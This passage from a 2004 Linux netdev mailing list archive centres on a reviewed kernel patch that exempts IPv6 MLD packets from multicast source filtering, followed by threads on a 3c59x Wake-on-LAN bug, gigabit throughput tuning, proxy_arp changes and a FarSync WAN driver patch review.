skb->nh.ipv6h; - if (ipv6_chk_mcast_addr(skb->dev, &hdr->daddr, &hdr->saddr)) - deliver = 1; + deliver = likely(!(skb->dev->flags & (IFF_PROMISC|IFF_ALLMULTI))) || + ipv6_chk_mcast_addr(skb->dev, &hdr->daddr, NULL); /* * IPv6 multicast router mode isnt currently supported. @@ -238,23 +245,21 @@ if (deliver) { skb2 = skb_clone(skb, GFP_ATOMIC); + dst_output(skb2); } else { - discard = 0; - skb2 = skb; + dst_output(skb); + return 0; } - - dst_output(skb2); } } #endif - if (deliver) { - discard = 0; + if (likely(deliver)) { ip6_input(skb); + return 0; } - - if (discard) - kfree_skb(skb); + /* discard */ + kfree_skb(skb); return 0; } diff -ruN linux-2.6.2/net/ipv6/mcast.c linux-2.6.2F2/net/ipv6/mcast.c --- linux-2.6.2/net/ipv6/mcast.c 2004-02-03 19:44:28.000000000 -0800 +++ linux-2.6.2F2/net/ipv6/mcast.c 2004-02-11 21:01:52.000000000 -0800 @@ -901,6 +901,33 @@ } /* + * identify MLD packets for MLD filter exceptions + */ +int ipv6_is_mld(struct sk_buff *skb, int nexthdr) +{ + struct icmp6hdr *pic; + + if (nexthdr != IPPROTO_ICMPV6) + return 0; + + if (!pskb_may_pull(skb, sizeof(struct icmp6hdr))) + return 0; + + pic = (struct icmp6hdr *)skb->h.raw; + + switch (pic->icmp6_type) { + case ICMPV6_MGM_QUERY: + case ICMPV6_MGM_REPORT: + case ICMPV6_MGM_REDUCTION: + case ICMPV6_MLD2_REPORT: + return 1; + default: + break; + } + return 0; +} + +/* * check if the interface/address pair is valid */ int ipv6_chk_mcast_addr(struct net_device *dev, struct in6_addr *group, @@ -918,7 +945,7 @@ break; } if (mc) { - if (!ipv6_addr_any(src_addr)) { + if (src_addr && !ipv6_addr_any(src_addr)) { struct ip6_sf_list *psf; spin_lock_bh(&mc->mca_lock); (See attached file: mldx6.patch) --1__=07BBE4ABDF884A2D8f9e8a93df938690918c07BBE4ABDF884A2D Content-type: text/html; charset=US-ASCII Content-Disposition: inline

"Hideaki YOSHIFUJI" <yoshfuji@cerberus.hongo.wide.ad.jp> wrote on 02/11/2004 06:03:28 PM:

> You forgot to check if proto is IPPROTO_ICMPV6.
> (This is one reason why I want to check the icmpv6 code

> in icmpv6_rcv().)

Arg! You're right! I had no idea what you were talking
about with that comment about icmpv6_rcv() (the test can't be
done there, because it'll be discarded without it; I thought
you were looking for an optimization of some kind). Of course,
my tests are using ICMP (MLD and ECHO) and UDP packets that
didn't have MLD types where the ICMPv6 type code would be--
so the filter and exceptions all worked. :-(

What I intended is for ipv6_is_mld() to check this (not
assume that "skb" is ICMPv6 only). Fixed patch below [blush].
Thanks for the reviews,

+-DLS

diff -ruN linux-2.6.2/include/net/addrconf.h linux-2.6.2F2/include/net/addrconf.h
--- linux-2.6.2/include/net/addrconf.h 2004-02-03 19:44:17.000000000 -0800
+++ linux-2.6.2F2/include/net/addrconf.h 2004-02-11 21:03:10.000000000 -0800
@@ -98,6 +98,7 @@

extern int ipv6_chk_mcast_addr(struct net_device *dev, struct in6_addr *group,
struct in6_addr *src_addr);
+extern int ipv6_is_mld(struct sk_buff *skb, int nexthdr);

extern void addrconf_prefix_rcv(struct net_device *dev, u8 *opt, int len);

diff -ruN linux-2.6.2/net/ipv6/ip6_input.c linux-2.6.2F2/net/ipv6/ip6_input.c
--- linux-2.6.2/net/ipv6/ip6_input.c 2004-02-03 19:44:14.000000000 -0800
+++ linux-2.6.2F2/net/ipv6/ip6_input.c 2004-02-11 21:00:03.000000000 -0800
@@ -168,11 +168,19 @@

smp_read_barrier_depends();
if (ipprot->flags & INET6_PROTO_FINAL) {
+ struct ipv6hdr *hdr;
+
if (!cksum_sub && skb->ip_summed == CHECKSUM_HW) {
skb->csum = csum_sub(skb->csum,
    csum_partial(skb->nh.raw, skb->h.raw-skb->nh.raw, 0));
cksum_sub++;

}
+ hdr = skb->nh.ipv6h;
+ if (ipv6_addr_is_multicast(&hdr->daddr) &&
+    !ipv6_chk_mcast_addr(skb->dev, &hdr->daddr,
+    &hdr->saddr) &&
+    !ipv6_is_mld(skb, nexthdr))
+ goto discard;
}
if (!(ipprot->flags & INET6_PROTO_NOPOLICY) &&
   !xfrm6_policy_check(NULL, XFRM_POLICY_IN, skb))
@@ -211,15 +219,14 @@

int ip6_mc_input(struct sk_buff *skb)
{
- struct ipv6hdr *hdr;
- int deliver = 0;
- int discard = 1;
+ struct ipv6hdr *hdr;
+ int deliver;

IP6_INC_STATS_BH(Ip6InMcastPkts);

hdr = skb->nh.ipv6h;
- if (ipv6_chk_mcast_addr(skb->dev, &hdr->daddr, &hdr->saddr))
- deliver = 1;
+ deliver = likely(!(skb->dev->flags & (IFF_PROMISC|IFF_ALLMULTI))) ||
+    ipv6_chk_mcast_addr(skb->dev, &hdr->daddr, NULL);

/*
* IPv6 multicast router mode isnt currently supported.
@@ -238,23 +245,21 @@

if (deliver) {
skb2 = skb_clone(skb, GFP_ATOMIC);
+ dst_output(skb2);
} else {
- discard = 0;
- skb2 = skb;
+ dst_output(skb);
+ return 0;
}
-
- dst_output(skb2);

}
}
#endif

- if (deliver) {
- discard = 0;
+ if (likely(deliver)) {
ip6_input(skb);
+ return 0;
}
-
- if (discard)
- kfree_skb(skb);
+ /* discard */
+ kfree_skb(skb);

return 0;
}
diff -ruN linux-2.6.2/net/ipv6/mcast.c linux-2.6.2F2/net/ipv6/mcast.c
--- linux-2.6.2/net/ipv6/mcast.c 2004-02-03 19:44:28.000000000 -0800
+++ linux-2.6.2F2/net/ipv6/mcast.c 2004-02-11 21:01:52.000000000 -0800
@@ -901,6 +901,33 @@
}

/*
+ * identify MLD packets for MLD filter exceptions
+ */
+int ipv6_is_mld(struct sk_buff *skb, int nexthdr)
+{
+ struct icmp6hdr *pic;
+
+ if (nexthdr != IPPROTO_ICMPV6)
+ return 0;
+
+ if (!pskb_may_pull(skb, sizeof(struct icmp6hdr)))
+ return 0;
+
+ pic = (struct icmp6hdr *)skb->h.raw;
+
+ switch (pic->icmp6_type) {
+ case ICMPV6_MGM_QUERY:
+ case ICMPV6_MGM_REPORT:
+ case ICMPV6_MGM_REDUCTION:
+ case ICMPV6_MLD2_REPORT:
+ return 1;
+ default:
+ break;
+ }
+ return 0;
+}
+
+/*
 * check if the interface/address pair is valid
 */
int ipv6_chk_mcast_addr(struct net_device *dev, struct in6_addr *group,

@@ -918,7 +945,7 @@
break;
}
if (mc) {
- if (!ipv6_addr_any(src_addr)) {
+ if (src_addr && !ipv6_addr_any(src_addr)) {
struct ip6_sf_list *psf;

spin_lock_bh(&mc->mca_lock);

(See attached file: mldx6.patch) --1__=07BBE4ABDF884A2D8f9e8a93df938690918c07BBE4ABDF884A2D-- --0__=07BBE4ABDF884A2D8f9e8a93df938690918c07BBE4ABDF884A2D Content-type: application/octet-stream; name="mldx6.patch" Content-Disposition: attachment; filename="mldx6.patch" Content-ID: <10__=07BBE4ABDF884A2D8f9e8a93df938@us.ibm.com> Content-transfer-encoding: base64 ZGlmZiAtcnVOIGxpbnV4LTIuNi4yL2luY2x1ZGUvbmV0L2FkZHJjb25mLmggbGludXgtMi42LjJG Mi9pbmNsdWRlL25ldC9hZGRyY29uZi5oCi0tLSBsaW51eC0yLjYuMi9pbmNsdWRlL25ldC9hZGRy Y29uZi5oCTIwMDQtMDItMDMgMTk6NDQ6MTcuMDAwMDAwMDAwIC0wODAwCisrKyBsaW51eC0yLjYu MkYyL2luY2x1ZGUvbmV0L2FkZHJjb25mLmgJMjAwNC0wMi0xMSAyMTowMzoxMC4wMDAwMDAwMDAg LTA4MDAKQEAgLTk4LDYgKzk4LDcgQEAKIAogZXh0ZXJuIGludCBpcHY2X2Noa19tY2FzdF9hZGRy KHN0cnVjdCBuZXRfZGV2aWNlICpkZXYsIHN0cnVjdCBpbjZfYWRkciAqZ3JvdXAsCiAJCXN0cnVj dCBpbjZfYWRkciAqc3JjX2FkZHIpOworZXh0ZXJuIGludCBpcHY2X2lzX21sZChzdHJ1Y3Qgc2tf YnVmZiAqc2tiLCBpbnQgbmV4dGhkcik7CiAKIGV4dGVybiB2b2lkIGFkZHJjb25mX3ByZWZpeF9y Y3Yoc3RydWN0IG5ldF9kZXZpY2UgKmRldiwgdTggKm9wdCwgaW50IGxlbik7CiAKZGlmZiAtcnVO IGxpbnV4LTIuNi4yL25ldC9pcHY2L2lwNl9pbnB1dC5jIGxpbnV4LTIuNi4yRjIvbmV0L2lwdjYv aXA2X2lucHV0LmMKLS0tIGxpbnV4LTIuNi4yL25ldC9pcHY2L2lwNl9pbnB1dC5jCTI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Jlc3MgcGFpciBpcyB2YWxpZAogICovCiBpbnQgaXB2Nl9jaGtfbWNh c3RfYWRkcihzdHJ1Y3QgbmV0X2RldmljZSAqZGV2LCBzdHJ1Y3QgaW42X2FkZHIgKmdyb3VwLApA QCAtOTE4LDcgKzk0NSw3IEBACiAJCQkJYnJlYWs7CiAJCX0KIAkJaWYgKG1jKSB7Ci0JCQlpZiAo IWlwdjZfYWRkcl9hbnkoc3JjX2FkZHIpKSB7CisJCQlpZiAoc3JjX2FkZHIgJiYgIWlwdjZfYWRk cl9hbnkoc3JjX2FkZHIpKSB7CiAJCQkJc3RydWN0IGlwNl9zZl9saXN0ICpwc2Y7CiAKIAkJCQlz cGluX2xvY2tfYmgoJm1jLT5tY2FfbG9jayk7Cg== --0__=07BBE4ABDF884A2D8f9e8a93df938690918c07BBE4ABDF884A2D-- From yoshfuji@linux-ipv6.org Wed Feb 11 22:38:14 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 11 Feb 2004 22:38:27 -0800 (PST) Received: from yue.hongo.wide.ad.jp (yue.hongo.wide.ad.jp [203.178.135.30]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1C6cDKO002443 for ; Wed, 11 Feb 2004 22:38:14 -0800 Received: from localhost (localhost [127.0.0.1]) by yue.hongo.wide.ad.jp (Postfix) with ESMTP id 182D833CA5; Thu, 12 Feb 2004 15:39:12 +0900 (JST) Date: Thu, 12 Feb 2004 15:39:11 +0900 (JST) Message-Id: <20040212.153911.64115196.yoshfuji@linux-ipv6.org> To: dlstevens@us.ibm.com, davem@redhat.com Cc: hibi665@oki.com, netdev@oss.sgi.com, yoshfuji@linux-ipv6.org Subject: Re: Source Specific Query of MLDv2 [PATCH] From: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= In-Reply-To: References: <20040212.110328.103131455.yoshfuji@linux-ipv6.org> Organization: USAGI Project X-URL: http://www.yoshifuji.org/%7Ehideaki/ X-Fingerprint: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA X-PGP-Key-URL: http://www.yoshifuji.org/%7Ehideaki/hideaki@yoshifuji.org.asc X-Face: "5$Al-.M>NJ%a'@hhZdQm:."qn~PA^gq4o*>iCFToq*bAi#4FRtx}enhuQKz7fNqQz\BYU] $~O_5m-9'}MIs`XGwIEscw;e5b>n"B_?j/AkL~i/MEaZBLP X-Mailer: Mew version 2.2 on Emacs 20.7 / Mule 4.1 (AOI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 3262 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yoshfuji@linux-ipv6.org Precedence: bulk X-list: netdev In article (at Wed, 11 Feb 2004 23:34:37 -0700), David Stevens says: > What I intended is for ipv6_is_mld() to check this (not > assume that "skb" is ICMPv6 only). Fixed patch below [blush]. > Thanks for the reviews, : I'll eat this patch. Comments, if any? -- Hideaki YOSHIFUJI @ USAGI Project GPG FP: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA From davem@redhat.com Wed Feb 11 22:41:21 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 11 Feb 2004 22:41:34 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1C6fKKO003307 for ; Wed, 11 Feb 2004 22:41:21 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i1C6fEb07422; Thu, 12 Feb 2004 01:41:14 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i1C6fEi12656; Thu, 12 Feb 2004 01:41:14 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i1C6eekC032178; Thu, 12 Feb 2004 01:40:40 -0500 Date: Wed, 11 Feb 2004 22:41:13 -0800 From: "David S. Miller" To: yoshfuji@linux-ipv6.org Cc: dlstevens@us.ibm.com, hibi665@oki.com, netdev@oss.sgi.com Subject: Re: Source Specific Query of MLDv2 [PATCH] Message-Id: <20040211224113.1a80c1a8.davem@redhat.com> In-Reply-To: <20040212.153911.64115196.yoshfuji@linux-ipv6.org> References: <20040212.110328.103131455.yoshfuji@linux-ipv6.org> <20040212.153911.64115196.yoshfuji@linux-ipv6.org> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id i1C6fKKO003307 X-archive-position: 3263 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Thu, 12 Feb 2004 15:39:11 +0900 (JST) YOSHIFUJI Hideaki / $B5HF#1QL@(B wrote: > In article (at Wed, 11 Feb 2004 23:34:37 -0700), David Stevens says: > > > What I intended is for ipv6_is_mld() to check this (not > > assume that "skb" is ICMPv6 only). Fixed patch below [blush]. > > Thanks for the reviews, > : > > I'll eat this patch. Comments, if any? If you both agree I guess it's time for me to apply it :-) Someone give me a condensed one-line description for the patch, thanks. Note the stuff I'm applying these days is destined for 2.6.4-pre1, I'll only send simple one-liner serious bug fixes for 2.6.3-rcX From dlstevens@us.ibm.com Wed Feb 11 22:46:35 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 11 Feb 2004 22:46:48 -0800 (PST) Received: from e32.co.us.ibm.com (e32.co.us.ibm.com [32.97.110.130]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1C6kZKO004481 for ; Wed, 11 Feb 2004 22:46:35 -0800 Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.17.195.11]) by e32.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i1C6jYM3789154; Thu, 12 Feb 2004 01:45:34 -0500 Received: from d03nm121.boulder.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay02.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i1C6jXhP177768; Wed, 11 Feb 2004 23:45:33 -0700 In-Reply-To: <20040211224113.1a80c1a8.davem@redhat.com> Subject: Re: Source Specific Query of MLDv2 [PATCH] To: "David S. Miller" Cc: hibi665@oki.com, netdev@oss.sgi.com, yoshfuji@linux-ipv6.org X-Mailer: Lotus Notes Release 6.0.2CF1 June 9, 2003 Message-ID: From: David Stevens Date: Wed, 11 Feb 2004 22:45:31 -0800 X-MIMETrack: Serialize by Router on D03NM121/03/M/IBM(Release 6.0.2CF2HF133 | November 14, 2003) at 02/11/2004 23:45:34 MIME-Version: 1.0 Content-type: multipart/alternative; Boundary="0__=07BBE4ABDFB72B268f9e8a93df938690918c07BBE4ABDFB72B26" Content-Disposition: inline X-archive-position: 3264 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: dlstevens@us.ibm.com Precedence: bulk X-list: netdev --0__=07BBE4ABDFB72B268f9e8a93df938690918c07BBE4ABDFB72B26 Content-type: text/plain; charset=US-ASCII "David S. Miller" wrote on 02/11/2004 10:41:13 PM: > Someone give me a condensed one-line description for the patch, thanks. "This patch excepts MLD packets from source filtering." :-) +-DLS --0__=07BBE4ABDFB72B268f9e8a93df938690918c07BBE4ABDFB72B26 Content-type: text/html; charset=US-ASCII Content-Disposition: inline

"David S. Miller" <davem@redhat.com> wrote on 02/11/2004 10:41:13 PM:

> Someone give me a condensed one-line description for the patch, thanks.

"This patch excepts MLD packets from source filtering." :-)

+-DLS
--0__=07BBE4ABDFB72B268f9e8a93df938690918c07BBE4ABDFB72B26-- From akpm@osdl.org Wed Feb 11 23:46:21 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 11 Feb 2004 23:46:27 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1C7kLKO014822 for ; Wed, 11 Feb 2004 23:46:21 -0800 Received: from mnm (build.pdx.osdl.net [172.20.1.2]) by mail.osdl.org (8.11.6/8.11.6) with ESMTP id i1C7kCE27265; Wed, 11 Feb 2004 23:46:12 -0800 Date: Wed, 11 Feb 2004 23:46:22 -0800 From: Andrew Morton To: Tom Rini Cc: linux-kernel@vger.kernel.org, netdev@oss.sgi.com, chris@k-rad.org Subject: Re: Problem with 3c59x, WOL and Intel 440LX/EX or 430TX Message-Id: <20040211234622.4a5bce7a.akpm@osdl.org> In-Reply-To: <20040211170727.GC18571@smtp.west.cox.net> References: <20040211170727.GC18571@smtp.west.cox.net> X-Mailer: Sylpheed version 0.9.4 (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3265 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: akpm@osdl.org Precedence: bulk X-list: netdev Tom Rini wrote: > > Hello. I believe I have tracked down a problem with the WOL support in > the 3c59x driver (2.6 varriant only right now). The problem has been > seen I belive by a few people: > (my own reports) > http://marc.theaimsgroup.com/?l=linux-kernel&m=106297008218993&w=2 > http://lkml.org/lkml/2003/9/2/167 I have a suspicion that this may be a bug in the driver's PM handling but I don't really have time to reacquaint myself with the driver. Or it could be a BIOS bug. I've put the enable_wol module parameter back. From satyasrikanth2001@yahoo.com Thu Feb 12 00:39:16 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 12 Feb 2004 00:39:34 -0800 (PST) Received: from web21109.mail.yahoo.com (web21109.mail.yahoo.com [216.136.227.111]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1C8dFKO023363 for ; Thu, 12 Feb 2004 00:39:16 -0800 Message-ID: <20040212083915.73516.qmail@web21109.mail.yahoo.com> Received: from [203.200.95.130] by web21109.mail.yahoo.com via HTTP; Thu, 12 Feb 2004 00:39:15 PST Date: Thu, 12 Feb 2004 00:39:15 -0800 (PST) From: satya srikanth Subject: gigabit ethernet To: netdev@oss.sgi.com MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-archive-position: 3266 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: satyasrikanth2001@yahoo.com Precedence: bulk X-list: netdev Sir, I need some help from you. I am using 2 xeon(2 GHz) machines each with two processors running linux 2.4.20-8smp kernel and having intel PRO/1000 gigabit adapter NIC card(e1000 driver). I tried connecting both of them using a gigabit switch. I am getting gigabit speed only if I use my own TCP sockets sending packets of size around 1400 bytes. If I send packets of size around 500 bytes, I am getting maximum of only 500 Mbps. I noticed that NIC is receiving all the packets but they are getting dropped in the kernel. I tried changing the settings like netdev_max_backlog to 30000 and rmem_max, wmem_max and txqueuelen, but of no use. Can you please suggest some changes that I need to make to achieve this speed. (Like changing number of Rx interrupts, Tx interrupts etc). Can you please suggest some other links where I can get some useful information. Will linux router project LRP help me to achieve it. with regards, Satya Srikanth. __________________________________ Do you Yahoo!? Yahoo! Finance: Get your refund fast by filing online. http://taxes.yahoo.com/filing.html From ja@ssi.bg Thu Feb 12 01:45:12 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 12 Feb 2004 01:45:26 -0800 (PST) Received: from u.domain.uli (ja.mac.ssi.bg [217.79.71.194]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1C9ixKO027963 for ; Thu, 12 Feb 2004 01:45:09 -0800 Received: from localhost (localhost [127.0.0.1]) by u.domain.uli (8.12.10/8.12.10) with ESMTP id i1C9kbrw001725; Thu, 12 Feb 2004 11:46:39 +0200 Date: Thu, 12 Feb 2004 11:46:37 +0200 (EET) From: Julian Anastasov X-X-Sender: ja@u.domain.uli To: jamal cc: netdev@oss.sgi.com, Alexey Kuznetsov Subject: Re: Change proxy_arp to respond only for valid neighbours In-Reply-To: <1076561326.1032.62.camel@jzny.localdomain> Message-ID: References: <1076561326.1032.62.camel@jzny.localdomain> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 3267 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ja@ssi.bg Precedence: bulk X-list: netdev Hello, On Thu, 11 Feb 2004, jamal wrote: > > It looks bad to call route_slow for every one request, > > I have to think more about it. > > If you make another get it goes via fast path. > The disappointing part is this feature has a lot of potential > if it works "correctly" (imagine being able to populate route cache > before packet arrives and not needing for packet to go via slow path). I'm not sure I understand your idea, may be you will try it one day :) > > - this cycle repeats on each 3 seconds which means that for 1 > > second we queue requests and for 2 seconds we just drop > > I am indifferent about the above (and it may be complicating things). I'll have to test it first because it can reduce the proxy_queue usage up to 3 times which can be desired in some setups, we have linear search there. > Ok, remove the flag. That one piece is safe. I didnt understand > why you have to speacial case for "NAT/fwd/pneigh" DNAT is like local address, no need to delay at all. > I think we have been this whole issue severely (i.e you understand my > view and i understand yours) - lets get a closure. Heres where i stand: > - checking validity in fast response is fair game and doesnt need a flag > - loops must be avoided > > Some of your features are fine except they may be a little extreme. > Note, this code has been to work well for years, the minimalist > approach to features would be the best approach. I hope it will continue to work but in a fair way :) ok, we are the final of this, I have prepared a change log: http://www.ssi.bg/~ja/tmp/CHANGES At this point I do not know how to optimize this patch and all changes look valid to me. arp_proxy-2.6.2-1.diff is still the latest version but I have to check the proxy_queue optimization. To make the code more readable may we can move the (IN_DEV_FORWARD(in_dev)) body at the end of arp_process. And I'll do more tests in the following days. I know you prefer to live with the old behaviour. I'm not sure if we reorder the old code it will look more readable while supporting the main new features. And I'm not going to push this if we do not have consensus on the implementation. Let me know if you have a better version of this change. > cheers, > jamal Regards -- Julian Anastasov From weixl@caltech.edu Thu Feb 12 02:05:36 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 12 Feb 2004 02:05:54 -0800 (PST) Received: from steelemr-loadb-nat-49.caltech.edu (SteeleMR-loadb-NAT-49.caltech.edu [131.215.49.69]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1CA4NKO030258 for ; Thu, 12 Feb 2004 02:04:23 -0800 Received: from water-dog (water-dog [192.168.1.26]) by earth-ox-postvirus (Postfix) with ESMTP id AB659109A66; Thu, 12 Feb 2004 01:36:16 -0800 (PST) Received: from water-ox ([192.168.1.10]) by water-dog (MailMonitor for SMTP v1.2.2 ) ; Thu, 12 Feb 2004 01:36:15 -0800 (PST) Received: from caltech.edu (DHCP-45-211.cs.caltech.edu [131.215.45.211]) by water-ox.its.caltech.edu (Postfix) with ESMTP id B3D7E26AC8D; Thu, 12 Feb 2004 01:36:15 -0800 (PST) Message-ID: <402B48A8.3060800@caltech.edu> Date: Thu, 12 Feb 2004 01:34:32 -0800 From: "Xiaoliang (David) Wei" User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.5) Gecko/20031007 X-Accept-Language: en-us, en MIME-Version: 1.0 To: satya srikanth Cc: netdev@oss.sgi.com Subject: Re: gigabit ethernet References: <20040212083915.73516.qmail@web21109.mail.yahoo.com> In-Reply-To: <20040212083915.73516.qmail@web21109.mail.yahoo.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 3268 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: weixl@caltech.edu Precedence: bulk X-list: netdev Hi Satya, Did you check the CPU utilization? If you use smaller packet size, the interrupt rate may be a problem. You can modulate the NIC's interrupt rate. See the document for details: http://www.intel.com/support/network/adapter/1000/e1000.htm#parameters Also, I assume the round trip propagation delay for your connections is very small (such as <10ms)? -David satya srikanth wrote: > Sir, > I need some help from you. I am using 2 xeon(2 > GHz) machines each with two processors running linux > 2.4.20-8smp kernel and having intel PRO/1000 gigabit > adapter NIC card(e1000 driver). I tried connecting > both of them using a gigabit switch. I am getting > gigabit speed only if I use my own TCP sockets sending > packets of size around 1400 bytes. If I send packets > of size around 500 bytes, I am getting maximum of only > 500 Mbps. I noticed that NIC is receiving all the > packets but they are getting dropped in the kernel. > I tried changing the settings like > netdev_max_backlog to 30000 and rmem_max, wmem_max and > txqueuelen, but of no use. Can you please suggest some > changes that I need to make to achieve this speed. > (Like changing number of Rx interrupts, Tx interrupts > etc). Can you please suggest some other links where I > can get some useful information. Will linux router > project LRP help me to achieve it. > > with regards, > Satya Srikanth. > -- ------------------------------------------------------ Xiaoliang (David) Wei Graduate Student of CS@Caltech WWW: http://www.cs.caltech.edu/~weixl ====================================================== From kevin.curtis@farsite.co.uk Thu Feb 12 02:12:44 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 12 Feb 2004 02:12:58 -0800 (PST) Received: from relay5.ftech.net (relay5.ftech.net [195.200.0.100]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1CACfKO031263 for ; Thu, 12 Feb 2004 02:12:42 -0800 Received: from opal.ftech.net ([212.32.16.127] helo=mailgate.ftech.net) by relay5.ftech.net with esmtp (Exim 3.36-ftechp12 #2) id 1ArDpn-00036j-00; Thu, 12 Feb 2004 10:12:39 +0000 Received: from pc1.faradsl.ftech.co.uk ([212.32.46.162] helo=GENERAL.hq.farsitecommunications.com) by mailgate.ftech.net with esmtp (Exim 3.36-ftechp12 #1) id 1ArDpd-0002Tc-00; Thu, 12 Feb 2004 10:12:30 +0000 Subject: RE: Update FarSync WAN driver in 2.4.25 MIME-Version: 1.0 Date: Thu, 12 Feb 2004 10:12:29 -0000 Content-Type: multipart/mixed; boundary="----_=_NextPart_001_01C3F150.B8D990F9" Message-ID: <7C078C66B7752B438B88E11E5E20E72E25CBD5@general.hq.farsitecommunications.com> X-MimeOLE: Produced By Microsoft Exchange V6.0.6249.0 X-MS-Has-Attach: yes Content-Class: urn:content-classes:message X-MS-TNEF-Correlator: Thread-Topic: Update FarSync WAN driver in 2.4.25 Thread-Index: AcPrZGkB6GscodfWScegphdP5rRyJwF62VzQ From: "Kevin Curtis" To: "Jeff Garzik" , "Kevin Curtis" Cc: , X-archive-position: 3269 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: kevin.curtis@farsite.co.uk Precedence: bulk X-list: netdev This is a multi-part message in MIME format. ------_=_NextPart_001_01C3F150.B8D990F9 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Hi, Please find attached a revised patch file which I believe addresses the comments that you and Francois Romieu made. I have changed the bottom half to use schedule_task, although I can see a marked degradation in performance. Can you tell me if it is possible to still queue my tasks on the Immediate queue, so that they run as soon as the interrupt is complete. It seems to me that the task_queue and tasklets are not as efficient. Kind regards Kevin -----Original Message----- From: Jeff Garzik [mailto:jgarzik@pobox.com]=20 Sent: 04 February 2004 21:18 To: Kevin Curtis Cc: 'netdev@oss.sgi.com'; 'davem@redhat.com' Subject: Re: Update FarSync WAN driver in 2.4.25 Comments: * please use standard indentation (one tab) * please use constants per the include/linux/pci_ids.h standard, rather=20 than defining your own. * please use standard include/linux/pci.h constants, rather than=20 defining your own (PCIILR, etc.) * further, obtain interrupt from struct pci_dev::irq after calling=20 pci_enable_device(); do not obtain directly via pci_read_config_xxx() * fst_process_rx_status() could result in flooding the log * use pci_set_master() to enable bus-mastering * bottom halves are deprecated. do not add new code using mark_bh() and friends. Use tasklets or schedule_task(). * use pci_set_dma_mask() rather than pci_dma_supported() * use pci_request_regions() rather than request_region() ------_=_NextPart_001_01C3F150.B8D990F9 Content-Type: application/octet-stream; name="farsync.patch" Content-Transfer-Encoding: base64 Content-Description: farsync.patch Content-Disposition: attachment; filename="farsync.patch" ZGlmZiAtdXJOIGxpbnV4LTIuNC4yNS1vcmlnL2RyaXZlcnMvbmV0L3dhbi9mYXJzeW5jLmMgbGlu dXgvZHJpdmVycy9uZXQvd2FuL2ZhcnN5bmMuYwotLS0gbGludXgtMi40LjI1LW9yaWcvZHJpdmVy cy9uZXQvd2FuL2ZhcnN5bmMuYwkyMDA0LTAyLTA0IDEyOjA4OjQxLjAwMDAwMDAwMCArMDAwMAor KysgbGludXgvZHJpdmVycy9uZXQvd2FuL2ZhcnN5bmMuYwkyMDA0LTAyLTEyIDA5OjU5OjI0LjAw 